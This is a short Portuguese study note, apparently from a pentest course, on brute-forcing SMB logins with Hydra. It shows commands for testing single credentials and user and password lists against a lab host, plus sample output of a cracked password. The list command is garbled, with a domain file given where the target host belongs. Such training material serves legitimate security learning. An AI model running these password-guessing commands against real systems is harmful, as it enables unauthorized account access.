

Brute Force com Hydra

+ Ferramenta hiper conhecida já pelos idos de 2001

+ É usada para realizar testes de validação de usuário e senha (semelhante ao crackmapexec)

+ Testar um usuário, uma senha em um host:

```
hydra -v -l rogerio -p admin 172.16.1.60 smb
```

usuário: rogerio

senha: admin

+ Testar uma lista de usuários, uma lista de senhas e uma lista de domínios (supondo esses últimos guardados na doms.txt)

→ n precisamos necessariamente usar todos de uma vez: podemos passar um usuário, varias senhas e varios domínios, e assim por diante

→ Voltando

```
hydra -v -L users.txt -P senhas.txt doms.txt smb
```

→ -v de verbose

→ além do smb, podemos ver os outros serviços suportados no

```
man hydra
```

+ Uma vez quebrada, essa é a seguinte mensagem:

```
[VERBOSE] Set byte count: 00  
[VERBOSE] SMBSessionRet: 00000000 SMBerr: 0000 SMBaction: 00  
[445][smb] host: 172.16.1.60 login: rogerio password: Roger@10  
[STATUS] attack finished for 172.16.1.60 (waiting for children to complete tests)  
1 of 1 target successfully completed, 1 valid password found  
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-04-04 23:57:09  
root@pentesting:/home/desec/Desktop#
```